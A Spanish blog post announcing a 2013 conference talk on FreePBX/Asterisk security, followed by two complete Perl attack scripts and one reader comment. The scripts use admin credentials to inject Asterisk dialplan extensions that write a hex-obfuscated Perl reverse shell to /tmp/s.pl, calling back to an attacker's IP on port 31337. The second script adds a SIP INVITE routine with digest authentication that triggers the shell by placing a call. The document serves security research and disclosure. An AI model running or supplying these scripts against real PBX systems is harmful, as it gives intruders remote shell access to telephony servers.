Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:
Los slides se pueden ver o descargar en Slideshare:

Y los dos scripts usados durante la charla:
Primer script:
#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);
my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');
my $result = GetOptions ("h=s" => \$host,
"u=s" => \$user,
"ip=s" => \$ip,
"port=s" => \$port,
"p=s" => \$pass,
"cli=s" => \$cli,
"ext=s" => \$ext,
"cs+" => \$create,
"es+" => \$execute);
if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");
# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";
$ip = encode($ip);
$port = encode($port);
# Comandos para crear una shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";
# Comandos para ejecutar la shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local
my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";
my $url = "http://" . $host . "/admin/config.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ username => $user, password => $pass, submit => 'Login' ]);
my $response = $ua->post($url, @header);
$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;
$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;
$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";
if ($cli ne "") {
my $res = asterisk_cli($cli);
print "$res\n";
}
if ($create eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($sc1);
asterisk_cli($sc2);
asterisk_cli($sc3);
asterisk_cli($sc4);
asterisk_cli($sc5);
asterisk_cli($sc6);
asterisk_cli($sc7);
asterisk_cli($sc8);
asterisk_cli($sc9);
asterisk_cli($sc10);
my $res = asterisk_cli($dshow);
print "$res\n";
}
if ($execute eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($se1);
asterisk_cli($se2);
asterisk_cli($se3);
my $res = asterisk_cli($dshow);
print "$res\n";
}
exit;
sub asterisk_cli {
my $command = shift;
@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ txtCommand => $command ]);
my $response = $ua->post($url, @header);
my $result = $response->content;
my $x = index($result, "<pre>") + 5;
my $y = index($result, "</pre>");
$result = substr($result, $x, $y-$x);
return $result;
}
sub encode {
my $data = shift;
$data =~ s/3/\\\\x33/g;
$data =~ s/1/\\\\x31/g;
$data =~ s/2/\\\\x32/g;
$data =~ s/4/\\\\x34/g;
$data =~ s/5/\\\\x35/g;
$data =~ s/6/\\\\x36/g;
$data =~ s/7/\\\\x37/g;
$data =~ s/8/\\\\x38/g;
$data =~ s/9/\\\\x39/g;
$data =~ s/\./\\\\x2e/g;
return $data;
}
sub help {
print qq{
:: FreePBX for fun & profit - by Pepelux ::
-------------------------------------
Uso: $0 -h <host> -u <user> -p <pass> [opciones]
== Opciones ==
-cli <commando> = Ejecutar comando de Asterisk
-cs = Crear una shell
-es = Ejecutar una shell
-ip = Nuestra IP para la shell (para -cs)
-port = Puerto para la shell (por defecto: 31337)
-ext = Extension a crear (por defecto: 999)
== Ejemplos ==
$0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
$0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
$0 -h 192.168.1.1 -u admin -p 12345 -es
};
print "\n";
exit 1;
}
Segundo script:
#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);
my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;
print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
my $result = GetOptions ("h=s" => \$host,
"u=s" => \$user,
"ip=s" => \$ip,
"port=s" => \$port,
"p=s" => \$pass,
"cli=s" => \$cli,
"ext=s" => \$ext,
"call+" => \$call,
"user=s" => \$euser,
"pass=s" => \$epass,
"cs+" => \$create,
"es+" => \$execute,
"auto+" => \$auto);
if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }
$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");
if ($auto eq 1) {
$create = 1;
$execute = 1;
}
# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";
my $origip = $ip;
$ip = encode($ip);
$port = encode($port);
# Comandos para crear una shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";
# Comandos para ejecutar la shell
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local
my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";
my $url = "http://" . $host . "/admin/config.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ username => $user, password => $pass, submit => 'Login' ]);
my $response = $ua->post($url, @header);
$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;
$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;
$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";
if ($cli ne "") {
my $res = asterisk_cli($cli);
print "$res\n";
}
if ($create eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($sc1);
asterisk_cli($sc2);
asterisk_cli($sc3);
asterisk_cli($sc4);
asterisk_cli($sc5);
asterisk_cli($sc6);
asterisk_cli($sc7);
asterisk_cli($sc8);
asterisk_cli($sc9);
asterisk_cli($sc10);
my $res = asterisk_cli($dshow);
print "$res\n";
if ($call eq 1) {
sleep(5);
invite($ext, $host, "5060", $origip, $euser, $epass);
sleep(3);
}
}
if ($execute eq 1) {
asterisk_cli($dreload);
sleep(2);
asterisk_cli($se1);
asterisk_cli($se2);
asterisk_cli($se3);
my $res = asterisk_cli($dshow);
print "$res\n";
if ($call eq 1) {
sleep(5);
invite($ext, $host, "5060", $origip, $euser, $epass);
sleep(3);
}
}
exit;
sub asterisk_cli {
my $command = shift;
@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
Content => [ txtCommand => $command ]);
my $response = $ua->post($url, @header);
my $result = $response->content;
my $x = index($result, "<pre>") + 5;
my $y = index($result, "</pre>");
$result = substr($result, $x, $y-$x);
return $result;
}
sub encode {
my $data = shift;
$data =~ s/3/\\\\x33/g;
$data =~ s/1/\\\\x31/g;
$data =~ s/2/\\\\x32/g;
$data =~ s/4/\\\\x34/g;
$data =~ s/5/\\\\x35/g;
$data =~ s/6/\\\\x36/g;
$data =~ s/7/\\\\x37/g;
$data =~ s/8/\\\\x38/g;
$data =~ s/9/\\\\x39/g;
$data =~ s/\./\\\\x2e/g;
return $data;
}
sub invite {
my $tfno = shift;
my $astip = shift;
my $nport = shift;
my $myip = shift;
my $user = shift;
my $pass = shift;
print "\nRealizando llamada ... \n\n";
my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);
my $lport = $sc->sockport();
my $branch = &generate_random_string(71, 0);
my $callerid = &generate_random_string(32, 1);
my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 1 INVITE\n";
$msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
$msg .= "Content-Type: application/sdp\n";
$msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
$msg .= "User-Agent: Zoiper rev.11619\n";
$msg .= "Allow-Events: presence, kpml\n";
$msg .= "Content-Length: 181\n\n";
$msg .= "v=0\n";
$msg .= "o=Z 0 0 IN IP4 $myip\n";
$msg .= "s=Z\n";
$msg .= "c=IN IP4 $myip\n";
$msg .= "t=0 0\n";
$msg .= "m=audio 8000 RTP/AVP 0 101\n";
$msg .= "a=rtpmap:0 PCMU/8000\n";
$msg .= "a=rtpmap:101 telephone-event/8000\n";
$msg .= "a=fmtp:101 0-15\n";
$msg .= "a=sendrecv\n\n";
print $sc $msg;
print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);
my $nonce = "";
my $realm = "";
my $data = "";
LOOP: {
while (<$sc>) {
my $line = $_;
if ($line =~ /nonce/ && $nonce eq "") {
$line =~ /nonce\=\"(\w+)\"/i;
if ($1) {
$nonce = $1;
}
}
if ($line =~ /realm/ && $realm eq "") {
$line =~ /realm\=\"(\w+)\"/i;
if ($1) {
$realm = $1;
}
}
$data .= $line;
if ($line =~ /^\r\n/) {
last LOOP;
}
}
}
if ($data ne "") {
print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);
$msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 1 ACK\n";
$msg .= "Content-Length: 0\n\n";
print $sc $msg;
print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);
$branch = &generate_random_string(71, 0);
my $md5 = Digest::MD5->new;
$md5->add($user, ':', $realm, ':', $pass);
my $HXA = $md5->hexdigest;
my $uri = "sip:".$tfno."@".$astip.";transport=UDP";
$md5 = Digest::MD5->new;
$md5->add('INVITE', ':', $uri);
my $HXB = $md5->hexdigest;
$md5 = Digest::MD5->new;
$md5->add($HXA, ':', $nonce, ':', $HXB);
my $response = $md5->hexdigest;
$msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
$msg .= "Max-Forwards: 70\n";
$msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
$msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
$msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
$msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
$msg .= "CSeq: 2 INVITE\n";
$msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
$msg .= "Content-Type: application/sdp\n";
$msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
$msg .= "User-Agent: Zoiper rev.11619\n";
$msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
$msg .= "Allow-Events: presence, kpml\n";
$msg .= "Content-Length: 181\n\n";
$msg .= "v=0\n";
$msg .= "o=Z 0 0 IN IP4 $myip\n";
$msg .= "s=Z\n";
$msg .= "c=IN IP4 $myip\n";
$msg .= "t=0 0\n";
$msg .= "m=audio 8000 RTP/AVP 0 101\n";
$msg .= "a=rtpmap:0 PCMU/8000\n";
$msg .= "a=rtpmap:101 telephone-event/8000\n";
$msg .= "a=fmtp:101 0-15\n";
$msg .= "a=sendrecv\n\n";
print $sc $msg;
print "Sending:\n=======\n$msg\n\n" if ($v eq 1);
$data = "";
my $server = "";
LOOP: {
while (<$sc>) {
my $line = $_;
if ($line =~ /[Ss]erver/ && $server eq "") {
$line =~ /[Ss]erver\:\s(.+)\r\n/;
if ($1) {
$server = $1;
}
}
$data .= $line;
if ($line =~ /^\r\n/) {
last LOOP;
}
}
}
if ($v eq 1) {
print "\nReceiving:\n=========\n$data\n\n";
}
my $dhost = "$astip:$nport";
$dhost .= "\t" if (length($dhost) < 10);
$server = "Unknown" if ($server eq "");
}
print "Llamada finalizada \n\n";
}
sub generate_random_string {
my $length_of_randomstring = shift;
my $only_hex = shift;
my @chars;
if ($only_hex == 0) {
@chars = ('a'..'z','0'..'9');
}
else {
@chars = ('a'..'f','0'..'9');
}
my $random_string;
foreach (1..$length_of_randomstring) {
$random_string.=$chars[rand @chars];
}
return $random_string;
}
sub help {
print qq{
:: FreePBX for fun & profit - by Pepelux ::
-------------------------------------
Uso: $0 -h <host> -u <user> -p <pass> [opciones]
== Opciones ==
-cli <commando> = Ejecutar comando de Asterisk
-cs = Crear una shell
-es = Ejecutar una shell
-auto = Crea y ejecuta una shell
-ip = Nuestra IP para la shell (para -cs y -call)
-port = Puerto para la shell (por defecto: 31337)
-ext = Extension a crear (por defecto: 999)
-call = Realizar llamada tras la inyeccion
-user = Usuario de nuestra extension
-pass = Password de nuestra extension
== Ejemplos ==
$0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
$0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
$0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
$0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
};
print "\n";
exit 1;
}
Saludos!

Follow
Estimado pepelux he analizado su material de manera rapida y quiero felicitarlo por poner a nuestra disposición esta excelente información . Me he dado cuenta que todavia no estoy preparado para la migración a este tipo de sistemas. le envio un saludo desde Mexico.-